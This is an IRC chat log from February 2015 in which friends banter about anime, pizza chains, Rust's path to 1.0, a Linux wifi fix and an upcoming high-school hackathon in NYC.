[2015-02-01T22:40:59-0500] <LittleBobbyTables> There are approximately 100 million acts of sexual intercourse each day. 99 million of those involve your mom.
[2015-02-01T22:41:07-0500] <+JacobEdelman> wait, what anime were you guys talking about?
[2015-02-01T22:41:13-0500] <LittleBobbyTables> Yugioh
[2015-02-01T22:41:25-0500] <+JacobEdelman> LittleBobbyTables: youre mix of weird science facts and yo mama jokes is unsettling
[2015-02-01T22:41:39-0500] <+Tamini> i was trying to get nezorg to ngnl
[2015-02-01T22:41:48-0500] <+JacobEdelman> yup, its good
[2015-02-01T22:41:49-0500] <LittleBobbyTables> The first part was true. The second part was obvious, I just thought I needed to point it out.
[2015-02-01T22:41:51-0500] <Hyper> JacobEdelman: we got sidetracked by klk
[2015-02-01T22:41:52-0500] <nezorg> but we were mainly discussing klk
[2015-02-01T22:41:58-0500] <+JacobEdelman> klk?
[2015-02-01T22:41:59-0500] <ubuntor> kill la kill
[2015-02-01T22:42:11-0500] <+JacobEdelman> (my freind reccommended death billiards or something like that, I found it too depressing)
[2015-02-01T22:42:17-0500] <LittleBobbyTables> death note
[2015-02-01T22:42:17-0500] <Hyper> JacobEdelman: if you are at all sensitive about nudity do not watch klk
[2015-02-01T22:42:19-0500] <nezorg> i.e. fan-service-dressed-up-as-something-serious
[2015-02-01T22:42:23-0500] <nezorg> (klk, that is)
[2015-02-01T22:42:24-0500] <LittleBobbyTables> is pretty good
[2015-02-01T22:42:29-0500] <LittleBobbyTables> klk is great
[2015-02-01T22:42:32-0500] <Hyper> nezorg: serious-dressed-up-as-fanservice, sir
[2015-02-01T22:42:34-0500] <+JacobEdelman> I'm no sensitive personally
[2015-02-01T22:42:40-0500] <+JacobEdelman> I mean, I watch GoT
[2015-02-01T22:42:50-0500] <LittleBobbyTables> Spoiler Alert: people die
[2015-02-01T22:42:51-0500] <+Tamini> hey hey hey nezorg
[2015-02-01T22:42:52-0500] <nezorg> Hyper: no, more like fan-service-dressed-up-as-serious-dressed-up-as-fanservice
[2015-02-01T22:42:53-0500] <+Tamini> why dont we watch
[2015-02-01T22:42:54-0500] <alokpathy> JacobEdelman: Did you win your bets?
[2015-02-01T22:43:00-0500] <+JacobEdelman> no
[2015-02-01T22:43:06-0500] <+JacobEdelman> I bet no side would get any points :P
[2015-02-01T22:43:07-0500] <LittleBobbyTables> I won my bets
[2015-02-01T22:43:10-0500] <+JacobEdelman> my little sister won
[2015-02-01T22:43:12-0500] <ubuntor> LittleBobbyTables: ~1146 times a second?
[2015-02-01T22:43:34-0500] <+JacobEdelman> also, I was dissapointed by the super bowl
[2015-02-01T22:43:42-0500] <+JacobEdelman> just when I got into it and started somewhat respecting it
[2015-02-01T22:43:48-0500] <+JacobEdelman> the teams start having a fist fight
[2015-02-01T22:43:55-0500] <+JacobEdelman> so I basicly learned
[2015-02-01T22:43:56-0500] <Hyper> JacobEdelman: here's the trailer for it coming to toonami https://www.youtube.com/watch?v=k0u21uL2QMU
[2015-02-01T22:43:59-0500] <+JacobEdelman> that football players
[2015-02-01T22:44:01-0500] <+JacobEdelman> are idiots
[2015-02-01T22:44:01-0500] <Hyper> so um
[2015-02-01T22:44:03-0500] <ubuntor> so it wasn't superb?
[2015-02-01T22:44:09-0500] <nezorg> Tamini: ...watch what?
[2015-02-01T22:44:11-0500] <+Tamini> um
[2015-02-01T22:44:11-0500] <+Tamini> another
[2015-02-01T22:44:12-0500] <+Tamini> :D
[2015-02-01T22:44:19-0500] <Hyper> I mean don't watch the dub because ew
[2015-02-01T22:44:23-0500] <+Tamini> its pretty pretty
[2015-02-01T22:44:23-0500] <ubuntor> why dubbed
[2015-02-01T22:44:25-0500] <Hyper> also "senkets"
[2015-02-01T22:44:27-0500] <+Tamini> except pretty bloody and gory and yay
[2015-02-01T22:44:31-0500] <LittleBobbyTables> If you got punched in the face, wouldn't you punch back
[2015-02-01T22:44:31-0500] <+Tamini> but very pretty'
[2015-02-01T22:45:18-0500] <nezorg> lol
[2015-02-01T22:45:30-0500] <+JacobEdelman> LittleBobbyTables: I would respond with lethal force :P
[2015-02-01T22:45:32-0500] <+JacobEdelman> gnight all
[2015-02-01T22:45:53-0500] <LittleBobbyTables> Excatly.
[2015-02-01T22:45:56-0500] <LittleBobbyTables> Exactly*
[2015-02-01T22:45:56-0500] <Hyper> JacobEdelman: but I need your opinion on klk based on that one trailer!
[2015-02-01T22:46:09-0500] <+JacobEdelman> sorry, gtg
[2015-02-01T22:46:12-0500] <+JacobEdelman> parents yelling
[2015-02-01T22:46:15-0500] <Hyper> q.q
[2015-02-01T22:46:27-0500] <nezorg> yelling at fanservice? :P
[2015-02-01T22:47:00-0500] <+Tamini> lolol
[2015-02-01T22:47:08-0500] <+Tamini> wait, hmm
[2015-02-01T22:47:13-0500] <Hyper> the thing with klk is you get desensitized to the fanservice so quickly that you just stop noticing it
[2015-02-01T22:47:18-0500] <+Tamini> lemme get my friend on here, he does animu discussions
[2015-02-01T22:47:30-0500] <+Tamini> Hyper: I stopped after episode 1 because I couldn't deal with the absurdity of it all :P
[2015-02-01T22:47:34-0500] <Hyper> Tamini: no
[2015-02-01T22:47:37-0500] <Hyper> you have to watch it
[2015-02-01T22:47:38-0500] <Hyper> all of it
[2015-02-01T22:47:40-0500] <Hyper> >_>
[2015-02-01T22:47:50-0500] <Hyper> Trigger is love, Trigger is life
[2015-02-01T22:47:54-0500] <nezorg> the fanservice pretty much blends in after a while
[2015-02-01T22:48:02-0500] <+Tamini> but its not as fun watching it alone
[2015-02-01T22:48:03-0500] <nezorg> (well, except for that one dungeon scene...)
[2015-02-01T22:48:06-0500] <+Tamini> someone else would have to rewatch it with me
[2015-02-01T22:48:12-0500] <+Tamini> so i can discuss 
[2015-02-01T22:49:03-0500] <ubuntor> there's also the original trailer, instead of the dubbed one: https://www.youtube.com/watch?v=zE4fmw3SV5o
[2015-02-01T22:49:54-0500] <Hyper> ubuntor: well you really need to watch https://www.youtube.com/watch?v=55iX64NmUDA
[2015-02-01T22:49:55-0500] <Hyper> pls
[2015-02-01T22:50:12-0500] <ubuntor> oh god no
[2015-02-01T22:52:10-0500] <ubuntor> what is this
[2015-02-01T22:52:13-0500] <ubuntor> i don't even
[2015-02-01T22:52:35-0500] <Hyper> it's the story of Riley Mathews and Sam Ketchup
[2015-02-01T22:52:45-0500] <Hyper> pls
[2015-02-01T22:54:10-0500] <LittleBobbyTables> All polar bears and most muppets are left handed
[2015-02-01T22:54:27-0500] <+Tamini> LittleBobbyTables: Jacob, what kind of drugs are you on
[2015-02-01T22:54:46-0500] <LittleBobbyTables> The good kind
[2015-02-01T22:57:16-0500] <+Tamini> lol
[2015-02-01T22:57:21-0500] <+Tamini> okay
[2015-02-01T22:57:24-0500] <+Tamini> my friend is almost coming on
[2015-02-01T22:57:36-0500] <+Tamini> dont be too scary okay
[2015-02-01T22:57:44-0500] • nezorg: shall be
[2015-02-01T22:57:54-0500] <Hyper> muahahahaha
[2015-02-01T22:57:54-0500] • nezorg: , then again, is not very good at being scary
[2015-02-01T22:57:57-0500] Delrith (Kyle@pdgn-7hg.uch.74s8p8.IP) joined the channel
[2015-02-01T22:58:11-0500] <Hyper> wait am I supposed to be creepy now?
[2015-02-01T22:58:12-0500] <Hyper> ok
[2015-02-01T22:58:13-0500] <Hyper> um
[2015-02-01T22:58:13-0500] <Delrith> The Lord of Chaos, present and reporting for killing you
[2015-02-01T22:58:18-0500] <Hyper> how are you today?
[2015-02-01T22:58:24-0500] <+Tamini> heyheyhey
[2015-02-01T22:58:25-0500] <Delrith> Doin' alright, you?
[2015-02-01T22:58:25-0500] <+Tamini> this is my friend
[2015-02-01T22:58:33-0500] <+Tamini> he's basically awe, treat him accordingly.
[2015-02-01T22:58:34-0500] <LittleBobbyTables> Casu marzu is a Sardinian cheese that contains live maggots
[2015-02-01T22:58:37-0500] <LittleBobbyTables> You have friends?
[2015-02-01T22:58:40-0500] <+Tamini> Delrith: whoa, you figured it out
[2015-02-01T22:58:46-0500] <+Tamini> LittleBobbyTables: more than you, jacob ;)
[2015-02-01T22:58:54-0500] <LittleBobbyTables> That's probably true
[2015-02-01T22:59:01-0500] <nezorg> then I was like "wtf are these bumblebee genitalia doing here"
[2015-02-01T22:59:04-0500] <Hyper> Delrith: fuck you rust isn't a great language you need to get your shit together come on look at all the issues with <unstable feature here>
[2015-02-01T22:59:12-0500] <+Tamini> oh
[2015-02-01T22:59:14-0500] <+Tamini> awe-rust
[2015-02-01T22:59:14-0500] <+Tamini> sorry
[2015-02-01T22:59:15-0500] <Hyper> Tamini: how am I doing?
[2015-02-01T22:59:22-0500] <+Tamini> Hyper: it wrong, but you tried.
[2015-02-01T22:59:35-0500] <Hyper> so https://www.youtube.com/watch?v=siGVDINpGjo is great too
[2015-02-01T22:59:37-0500] <Delrith> Did I mention rust?
[2015-02-01T22:59:41-0500] <@awe> Hi Delrith.
[2015-02-01T22:59:43-0500] <Delrith> I am confuse.
[2015-02-01T22:59:47-0500] <+Tamini> awe, meet Delrith
[2015-02-01T22:59:49-0500] <+Tamini> Delrith, meet awe.
[2015-02-01T22:59:51-0500] <Hyper> Delrith: I was told to treat you like awe 
[2015-02-01T22:59:51-0500] <+Tamini> he does starbound
[2015-02-01T22:59:54-0500] <+Tamini> anarcho communism
[2015-02-01T22:59:56-0500] <+Tamini> uh
[2015-02-01T22:59:57-0500] <+Tamini> physics
[2015-02-01T22:59:58-0500] <@awe> Hyper: >unstable features
[2015-02-01T22:59:59-0500] <+Tamini> uh
[2015-02-01T23:00:03-0500] <+Tamini> psycho killer(?)
[2015-02-01T23:00:04-0500] <@awe> Hyper: the only unstable thing left is IO. :p
[2015-02-01T23:00:10-0500] <Hyper> awe: your whole language is unstable features <3
[2015-02-01T23:00:12-0500] <@awe> Hyper: and they're working on the stabilized IO api right now.
[2015-02-01T23:00:14-0500] <@awe> No!
[2015-02-01T23:00:15-0500] <+Tamini> Delrith: was that a good description of you?
[2015-02-01T23:00:17-0500] <@awe> We're about to hit 1.0!
[2015-02-01T23:00:21-0500] <+Tamini> lo
[2015-02-01T23:00:22-0500] <+Tamini> l
[2015-02-01T23:00:29-0500] <nezorg> awe: I wish...
[2015-02-01T23:00:37-0500] <@awe> ??
[2015-02-01T23:00:45-0500] <nezorg> my laptop wifi is being shit today
[2015-02-01T23:00:46-0500] <@awe> More or less the entire API is stabilized except IO.
[2015-02-01T23:01:10-0500] <@awe> Well, and some weird stuff.
[2015-02-01T23:01:18-0500] <@awe> I just checked, and more things are unstable than I thought.
[2015-02-01T23:01:26-0500] <@awe> std::rt stuff is all unstable.
[2015-02-01T23:01:29-0500] <Delrith> I want a colorful circle next to my name. How do I get my cricle.
[2015-02-01T23:01:42-0500] <@awe> Colorful circle?
[2015-02-01T23:01:43-0500] <@awe> What?
[2015-02-01T23:01:47-0500] <ubuntor> voice?
[2015-02-01T23:02:01-0500] <Hyper> awe: his client probably makes voice or op a colored circle
[2015-02-01T23:02:02-0500] <Delrith> I see colorful circles on the right side of the HexChat client.
[2015-02-01T23:02:06-0500] <@awe> Hyper: okay, we're 50% stable in terms of library APIs
[2015-02-01T23:02:14-0500] <+Tamini> oh
[2015-02-01T23:02:15-0500] <+Tamini> um
[2015-02-01T23:02:15-0500] <nezorg> my client doesn't show priveledge
[2015-02-01T23:02:25-0500] <Hyper> awe: I was just fucking with you, you know :)
[2015-02-01T23:02:26-0500] <@awe> But yeah, IO is going to be stabilized soon and is a huge portion of that.
[2015-02-01T23:02:27-0500] <+Tamini> message Pidgey /NS register Delrith <password>
[2015-02-01T23:02:31-0500] <+Tamini> is that right
[2015-02-01T23:02:34-0500] <+Tamini> im not even sure
[2015-02-01T23:02:34-0500] <@awe> n
[2015-02-01T23:02:42-0500] <@awe> . /NS REGISTER password
[2015-02-01T23:02:45-0500] <+Tamini> oh
[2015-02-01T23:02:48-0500] <nezorg> VOICE IS SIMPLY WHITE PRIVELEGE
[2015-02-01T23:02:49-0500] <+Tamini> psh, syntax.
[2015-02-01T23:02:52-0500] <+Tamini> ^
[2015-02-01T23:03:01-0500] <+Tamini> wait, but hardmath123 isnt white :O
[2015-02-01T23:03:02-0500] <@awe> nezorg: two of the currently three voiced people are PoC.
[2015-02-01T23:03:14-0500] <nezorg> awe: I CAN IGNORE FACTS IF I WANT
[2015-02-01T23:03:22-0500] <@awe> And one of three is a woman.
[2015-02-01T23:03:23-0500] <Hyper> not having voice is the state of the art
[2015-02-01T23:03:24-0500] <@awe> A WOMAN OF COLOR.
[2015-02-01T23:03:41-0500] <+Tamini> LOL
[2015-02-01T23:03:52-0500] <+Tamini> THAT JUST SOUNDS REALLY WRONG
[2015-02-01T23:03:55-0500] <nezorg> wait, I've never heard "person of color" describe koreans
[2015-02-01T23:04:06-0500] <+Tamini> Neither have I
[2015-02-01T23:04:07-0500] <@awe> Asians are still PoC
[2015-02-01T23:04:10-0500] <+Tamini> I think he just meant !white
[2015-02-01T23:04:11-0500] <nezorg> ...wat?
[2015-02-01T23:04:12-0500] <@awe> Non-whites are all PoC.
[2015-02-01T23:04:18-0500] <nezorg> never heard that before
[2015-02-01T23:04:20-0500] <LittleBobbyTables> http://youtu.be/mK2fNG26xFg
[2015-02-01T23:05:27-0500] <Hyper> omg tbfp played a tsukihime fighting game lol
[2015-02-01T23:08:44-0500] <@awe> Delrith: so, how are you?
[2015-02-01T23:09:09-0500] <nezorg> so, how about that ghc 7.10.1
[2015-02-01T23:09:59-0500] <@awe> I'm still on 7.8.4?
[2015-02-01T23:10:49-0500] <nezorg> sux2bu
[2015-02-01T23:10:50-0500] <Hyper> Delrith: Tamini says you like the animuz
[2015-02-01T23:10:54-0500] <Delrith> It is rather difficult to describe how I am, other than I persist from some presumably complex physical interactions resulting in the image of some idea of presence.
[2015-02-01T23:10:56-0500] <nezorg> then again it's still a prerelease
[2015-02-01T23:11:10-0500] <nezorg> oh shit Delrith thinks he's clever
[2015-02-01T23:11:19-0500] <ubuntor> http://420.moe/
[2015-02-01T23:11:22-0500] <Hyper> I was gonna say something like "Chinese cartoons" but I don't know you well enough to know how you'd take it
[2015-02-01T23:11:24-0500] <Delrith> I do not how I manage to be.
[2015-02-01T23:11:52-0500] <Delrith> However, as for what, I am good.
[2015-02-01T23:12:04-0500] <nezorg> ubuntor: I don't have flash precisely because of shady sites like that
[2015-02-01T23:12:40-0500] <Hyper> why does that even need flash x.x
[2015-02-01T23:12:47-0500] <Hyper> that would be like 30 minutes of js
[2015-02-01T23:12:52-0500] <@awe> You know what else needs Flash?
[2015-02-01T23:12:54-0500] <@awe> Domino's site.
[2015-02-01T23:12:57-0500] <@awe> For no reason.
[2015-02-01T23:13:00-0500] <@awe> I NEED FLASH TO ORDER PIZZA.
[2015-02-01T23:13:04-0500] <@awe> I don't even have it installed.
[2015-02-01T23:13:08-0500] <@awe> I use Chrome for Flash.
[2015-02-01T23:13:11-0500] <Hyper> awe: your problem is ordering pizza from domino's
[2015-02-01T23:13:13-0500] <ubuntor> probably because it's based on an older flash thing
[2015-02-01T23:13:15-0500] <@awe> I hate Domino's.
[2015-02-01T23:13:23-0500] <@awe> But there's no other delivery pizza places here.
[2015-02-01T23:13:31-0500] <nezorg> awe: your problem is *definitely* ordering pizza from domino's
[2015-02-01T23:13:38-0500] <+Tamini> why domino's
[2015-02-01T23:13:39-0500] <+Tamini> D:
[2015-02-01T23:13:46-0500] <Delrith> nezorg: Just so you know, the main reason I answered the question in the form I did was because I had already previously answered the question.
[2015-02-01T23:13:47-0500] <@awe> I HAVE NO CHOICE.
[2015-02-01T23:13:56-0500] <Hyper> awe: somebody in my dorm was like "So i'm gonna order some pizza hut" and I was like "WHY WOULD YOU EVER ORDER PIZZA HUT IN NYC"
[2015-02-01T23:14:07-0500] <@awe> [22:58:25]  <Delrith>	Doin' alright, you?
[2015-02-01T23:14:12-0500] <@awe> Delrith: oh, sorry. I didn't see that.
[2015-02-01T23:14:17-0500] <@awe> Hyper: yeah, they're an idiot.
[2015-02-01T23:14:17-0500] <nezorg> Hyper: ........ wtf
[2015-02-01T23:14:17-0500] <Delrith> :P
[2015-02-01T23:14:20-0500] <@awe> Hyper: 2bros is lyf.
[2015-02-01T23:14:36-0500] <Hyper> 2bros is a bit far from here to reasonably order, sadly
[2015-02-01T23:14:43-0500] <Hyper> also 2bros is $$ iirc
[2015-02-01T23:14:49-0500] <Delrith> Don't make enemies when you don't need to, nezorg. :)
[2015-02-01T23:14:50-0500] <jwoglom> papa john's is better, man
[2015-02-01T23:14:51-0500] <@awe> N.
[2015-02-01T23:14:54-0500] <@awe> 2bros is $1/slice.
[2015-02-01T23:14:56-0500] <@awe> Very cheap.
[2015-02-01T23:14:56-0500] <jwoglom> there's almost always a 25-50% off
[2015-02-01T23:15:11-0500] <nezorg> Delrith: I'LL MAKE ALL THE ENEMIES I LIKE THANK YOU VERY MUCH
[2015-02-01T23:15:16-0500] <Hyper> jwoglom: a pizza place that has sales is a pizza place you probably don't want to go to 
[2015-02-01T23:15:23-0500] • nezorg: is more angerable than usual today
[2015-02-01T23:15:36-0500] <Delrith> nezorg: I am revoking my smiley face.
[2015-02-01T23:15:39-0500] <jwoglom> Hyper: their prices are like $14/large pizza to start
[2015-02-01T23:15:42-0500] <Hyper> also such activity
[2015-02-01T23:15:43-0500] <jwoglom> half price off is regular price
[2015-02-01T23:15:50-0500] <+Tamini> nezorg: is it because of the wifi?
[2015-02-01T23:15:50-0500] <+Tamini> shhh
[2015-02-01T23:15:54-0500] <+Tamini> everything will be okay.
[2015-02-01T23:15:58-0500] <nezorg> perhaps
[2015-02-01T23:16:04-0500] <nezorg> then again oftentimes my laptop wifi is bad
[2015-02-01T23:16:06-0500] <nezorg> well
[2015-02-01T23:16:10-0500] <nezorg> not actually the wifi
[2015-02-01T23:16:13-0500] <nezorg> just the linux drivers for them
[2015-02-01T23:16:21-0500] <Hyper> sooo I finished Amagi Brilliant Park this morning
[2015-02-01T23:16:25-0500] <Hyper> I like that show.
[2015-02-01T23:16:30-0500] <Delrith> Is good show
[2015-02-01T23:16:44-0500] <ubuntor> nezorg: tried disabling power management for wifi?
[2015-02-01T23:16:51-0500] <@awe> Hyper: these plebs don't know what real pizza is like.
[2015-02-01T23:16:58-0500] <Hyper> awe: pls
[2015-02-01T23:16:59-0500] <+Tamini> oh wait 
[2015-02-01T23:17:07-0500] <+Tamini> arent you doing that god-awful linux on a mac thing
[2015-02-01T23:17:31-0500] <Hyper> btw @ alla y'all in HS, a person I know is organizing an HS hackathon in the city and it's gonna be super hype
[2015-02-01T23:17:40-0500] <alokpathy> NYC?
[2015-02-01T23:17:42-0500] <Hyper> mhm
[2015-02-01T23:17:50-0500] <alokpathy> Nicee
[2015-02-01T23:17:51-0500] <ubuntor> hm, sounds neat
[2015-02-01T23:17:58-0500] <nezorg> ubuntor: couldn't figure out how
[2015-02-01T23:17:58-0500] <nezorg> Tamini: afraid so
[2015-02-01T23:18:04-0500] <+Tamini> nezorg: s'ok
[2015-02-01T23:18:05-0500] <+Tamini> i believe
[2015-02-01T23:18:06-0500] <+Tamini> M3
[2015-02-01T23:18:08-0500] <+Tamini> <3
[2015-02-01T23:18:08-0500] <Hyper> I'm gonna mentor there, I'll let you know when a signup form goes up :)
[2015-02-01T23:18:09-0500] <+Tamini> and i failed
[2015-02-01T23:18:11-0500] <+Tamini> and ooh
[2015-02-01T23:18:18-0500] <ubuntor> wait, what's your setup?
[2015-02-01T23:18:18-0500] <+hardmath123> i feel
[2015-02-01T23:18:21-0500] <+Tamini> nyc, sounds awesome
[2015-02-01T23:18:26-0500] <+hardmath123> exciting stuff happens when i vanish
[2015-02-01T23:18:32-0500] <+Tamini> Delrith: yes?
[2015-02-01T23:18:38-0500] <+Tamini> nyc hackathon :OO
[2015-02-01T23:18:40-0500] <+Tamini> hardmath123: umm
[2015-02-01T23:18:45-0500] <Hyper> it's gonna be on.... March 8th
[2015-02-01T23:18:48-0500] <@awe> Hyper: why pls?
[2015-02-01T23:18:54-0500] <+Tamini> you have sorta tl;dr, meet my friend
[2015-02-01T23:18:55-0500] <Hyper> awe: pls
[2015-02-01T23:19:01-0500] <@awe> They totally don't know about pizza.
[2015-02-01T23:19:02-0500] <@awe> They're pizza plebs.
[2015-02-01T23:19:07-0500] <+Tamini> awe is a pizza pleb
[2015-02-01T23:19:07-0500] <Delrith> Tamini, Yes is not a question
[2015-02-01T23:19:11-0500] <+Tamini> we're better than him
[2015-02-01T23:19:14-0500] <+hardmath123> Delrith: hello, friend of Tamini.
[2015-02-01T23:19:19-0500] <Delrith> Yes? is, but its a bad question
[2015-02-01T23:19:20-0500] <+Tamini> Delrith: there's a hackathon in nyc! :O
[2015-02-01T23:19:25-0500] <@awe> Tamini: but you're from DC and I'm from NYC.
[2015-02-01T23:19:26-0500] <Delrith> Yes.
[2015-02-01T23:19:31-0500] <Delrith> THat's correct.
[2015-02-01T23:19:32-0500] <+Tamini> awe: but you're from new jersey.
[2015-02-01T23:19:39-0500] <+Tamini> Delrith: doesn't that sound cool?
[2015-02-01T23:19:48-0500] <nezorg> ubuntor: me? late 2013 rmbp 15"
[2015-02-01T23:19:55-0500] <Delrith> It doesn't sound not cool
[2015-02-01T23:20:01-0500] <@awe> I was born in NY.
[2015-02-01T23:20:16-0500] <Hyper> Delrith: the guy who is organizing it is the best CS teacher I've ever had
[2015-02-01T23:20:32-0500] <ubuntor> nezorg: like how are you running linux on osx?
[2015-02-01T23:20:33-0500] <Hyper> also he got me a speaking slot at the august NYTM this summer
[2015-02-01T23:20:38-0500] <Hyper> he's pretty badass
[2015-02-01T23:20:40-0500] <Delrith> Have you had more than one CS teacher?
[2015-02-01T23:20:41-0500] <+Tamini> Delrith: could we do it maybe possibly because fun
[2015-02-01T23:20:45-0500] <nezorg> ubuntor: ubuntu
[2015-02-01T23:20:46-0500] <Hyper> I've had a couple
[2015-02-01T23:20:46-0500] <Hyper> um
[2015-02-01T23:20:54-0500] <Hyper> 6 now
[2015-02-01T23:20:58-0500] <ubuntor> nezorg: oh, just a separate partition?
[2015-02-01T23:21:07-0500] <Hyper> including my 2 college professors so far
[2015-02-01T23:21:16-0500] <nezorg> ubuntor: yeah, but i rarely use osx
[2015-02-01T23:21:34-0500] <ubuntor> run: sudo iwconfig wlan0 power off
[2015-02-01T23:21:40-0500] <Delrith> When does registration go?
[2015-02-01T23:21:56-0500] <ubuntor> assuming the wireless card shows up as wlan0
[2015-02-01T23:21:59-0500] <ubuntor> use iwconfig to check
[2015-02-01T23:22:20-0500] <Hyper> oops sorry, it's March 28th
[2015-02-01T23:22:23-0500] <Hyper> I missed a digit
[2015-02-01T23:22:28-0500] <nezorg> ubuntor: done
[2015-02-01T23:22:29-0500] <Hyper> heh
[2015-02-01T23:22:29-0500] <+Tamini> oh, that's much better
[2015-02-01T23:22:32-0500] <+Tamini> I think
[2015-02-01T23:23:08-0500] <Delrith> Hackathon, when would I need to register by?
[2015-02-01T23:23:17-0500] <Hyper> idk I don't think registrations are open yet
[2015-02-01T23:23:31-0500] <ubuntor> nezorg: also, guide to make it permanent: https://itechscotland.wordpress.com/2011/09/25/how-to-permanently-turn-off-wi-fi-power-management-in-ubuntu/
[2015-02-01T23:23:49-0500] <Hyper> he sent out a thing to his alums to ask if anyone was interested in mentoring or getting their company to sponsor
[2015-02-01T23:24:03-0500] <Hyper> so you guys are getting super inside info I guess?
[2015-02-01T23:24:28-0500] <+Tamini> hehe
[2015-02-01T23:24:31-0500] <+Tamini> we did this for hsf too
[2015-02-01T23:24:34-0500] <+Tamini> i feel so cool
[2015-02-01T23:24:39-0500] <Delrith> It's pretty weird to run a hackathon with announcements of only a month or less notice
[2015-02-01T23:25:34-0500] <nezorg> ugh you guys with hackathons near you
[2015-02-01T23:25:45-0500] <Delrith> Hackathons are basically everywhere
[2015-02-01T23:25:54-0500] <Delrith> do you seriously not have any in New York?
[2015-02-01T23:26:03-0500] <nezorg> I'm in santa barbara
[2015-02-01T23:26:06-0500] <Hyper> we have tons in NY lol
[2015-02-01T23:26:29-0500] <+hardmath123> everyone say "GOOD LUCK KARTIK"
[2015-02-01T23:26:31-0500] <nezorg> there was one this weekend here but only for >18
[2015-02-01T23:26:33-0500] <Delrith> Santa Barbara sounds like it have a nice number too
[2015-02-01T23:26:37-0500] <Delrith> ah
[2015-02-01T23:26:41-0500] <nezorg> you would think
[2015-02-01T23:26:42-0500] <Hyper> hardmath123: FUCK YOU KARTIK
[2015-02-01T23:26:51-0500] <Delrith> Yeah, I could see them all being adult hackathons
[2015-02-01T23:26:52-0500] <nezorg> there was one a couple months ago but women-only
[2015-02-01T23:26:55-0500] <Delrith> like college only
[2015-02-01T23:27:02-0500] <Hyper> > college
[2015-02-01T23:27:04-0500] <Hyper> > adult
[2015-02-01T23:27:05-0500] <Hyper> pls
[2015-02-01T23:27:07-0500] <+Tamini> oh right
[2015-02-01T23:27:07-0500] <+Tamini> that one
[2015-02-01T23:27:15-0500] <+Tamini> hardmath123: no context but
[2015-02-01T23:27:18-0500] <+Tamini> GOOD LUCK KARTIK
[2015-02-01T23:27:22-0500] <Delrith> Hyper is suggesting he is only one of the two
[2015-02-01T23:27:30-0500] <Delrith> and the "pls" makes me think not adult
[2015-02-01T23:27:42-0500] <Hyper> Delrith: I'm a freshman in college :)
[2015-02-01T23:27:47-0500] <Delrith> Hey hey!
[2015-02-01T23:27:48-0500] <nezorg> I'm zero of the two! yayayayay
[2015-02-01T23:27:50-0500] <Delrith> I'm right
[2015-02-01T23:27:53-0500] <+Tamini> whoo
[2015-02-01T23:27:58-0500] • Tamini: highfives nezorg
[2015-02-01T23:28:07-0500] <Delrith> 6 days until I am a legal adult
[2015-02-01T23:28:30-0500] • Delrith: is in this irc chat
[2015-02-01T23:28:41-0500] • nezorg: awkwardly accepts high five, as is tradition for him
[2015-02-01T23:28:42-0500] <Hyper> Delrith: it's not much different than not being a legal adult
[2015-02-01T23:29:01-0500] <Delrith> Hyper: speak for yourself
[2015-02-01T23:29:03-0500] <+Tamini> remind me to give you an irl high five and see your reaction B)
[2015-02-01T23:29:12-0500] <Delrith> I could be kicked out of my house
[2015-02-01T23:29:16-0500] <+Tamini> he can buy lottery tickets now!
[2015-02-01T23:29:18-0500] <+Tamini> ...or that
[2015-02-01T23:29:19-0500] <Delrith> You don't know me
[2015-02-01T23:29:22-0500] <Delrith> :P
[2015-02-01T23:29:22-0500] <+Tamini> but your mom seems nice enough.
[2015-02-01T23:29:28-0500] <Delrith> lol I said "could"
[2015-02-01T23:29:33-0500] <+Tamini> :P
[2015-02-01T23:29:34-0500] <Delrith> to make him feel guilty
[2015-02-01T23:29:38-0500] <+Tamini> maybe if you tried really hard
[2015-02-01T23:29:58-0500] <Delrith> Anyways
[2015-02-01T23:30:05-0500] <Delrith> time machine + lottery tickets will be fun
[2015-02-01T23:30:28-0500] <Delrith> So, now that I'll be a legal adult, my life will change, Hyper
[2015-02-01T23:30:41-0500] <Delrith> Always forgetting those time machines, aren't you, Hyper?
[2015-02-01T23:31:05-0500] <Hyper> :)
[2015-02-01T23:31:10-0500] <ubuntor> what kind of time machine?
[2015-02-01T23:31:37-0500] <Delrith> The wibbly-wobbly kind, or something like that
[2015-02-01T23:31:39-0500] <@awe> Delrith: ah, you're almost a legal adult. Neat.
[2015-02-01T23:31:40-0500] <Hyper> the one that only goes forward at an exorably slow pace
[2015-02-01T23:31:47-0500] <Hyper> inexorably*
[2015-02-01T23:31:59-0500] <+Tamini> heh
[2015-02-01T23:32:03-0500] <+Tamini> yeah, I have one of those
[2015-02-01T23:32:04-0500] <Delrith> Bro, I bet I can move faster through time than you
[2015-02-01T23:32:13-0500] <+Tamini> bruh, you wanna fight
[2015-02-01T23:32:24-0500] <+Tamini> i havent decided to give you a birthday present yet
[2015-02-01T23:32:27-0500] <+Tamini> you gotta be nice
[2015-02-01T23:32:45-0500] <Delrith> I think my elevation is lower than yours, closer to the center of mass of the earth and thus experiencing a higher stress-energy tensor
[2015-02-01T23:33:05-0500] <Delrith> thereby allowing me to move faster through time than you
[2015-02-01T23:33:09-0500] <Delrith> COME AT ME!
[2015-02-01T23:33:21-0500] <+Tamini> wait, what?
[2015-02-01T23:33:25-0500] <+Tamini> um
[2015-02-01T23:33:27-0500] <Delrith> Tamini: do I have to be nice, or be nice to you?
[2015-02-01T23:33:30-0500] <+Tamini> does not parse
[2015-02-01T23:33:31-0500] <Delrith> Because I assumed the latter
[2015-02-01T23:33:34-0500] <+Tamini> Delrith: preferably both
[2015-02-01T23:33:37-0500] <+Tamini> but I'm okay with the latter
[2015-02-01T23:33:44-0500] <Delrith> COME AT ME BRO
[2015-02-01T23:34:05-0500] • Delrith: throws arms backwards intimadatingly
[2015-02-01T23:34:16-0500] • Tamini: fails to see how that is intimidating
[2015-02-01T23:34:46-0500] <Delrith> Its the "come at me" pose
[2015-02-01T23:35:29-0500] <Delrith> Anyways, I have not yet fully recovered from the shockingly little 7 hours of sleep I had at the hackathon
[2015-02-01T23:35:34-0500] <Delrith> So I'll be going to bed now
[2015-02-01T23:35:59-0500] <+Tamini> cough
[2015-02-01T23:36:00-0500] <Delrith> I bid thee all an appropriate farewell for your respective timezones.
[2015-02-01T23:36:03-0500] <+Tamini> more than the rest of the team combined
[2015-02-01T23:36:06-0500] <+Tamini> good night, kyle.
[2015-02-01T23:36:08-0500] <Delrith> less
[2015-02-01T23:36:12-0500] <Delrith> we did the calculations
[2015-02-01T23:36:14-0500] <Delrith> I am not Kyle
[2015-02-01T23:36:16-0500] <Delrith> I am Delrith
[2015-02-01T23:36:22-0500] <+Tamini> good night, whoever you are :P
[2015-02-01T23:36:32-0500] <Delrith> I am a figment of your imagination
[2015-02-01T23:36:39-0500] <Delrith> you can tell, I don't have a circle
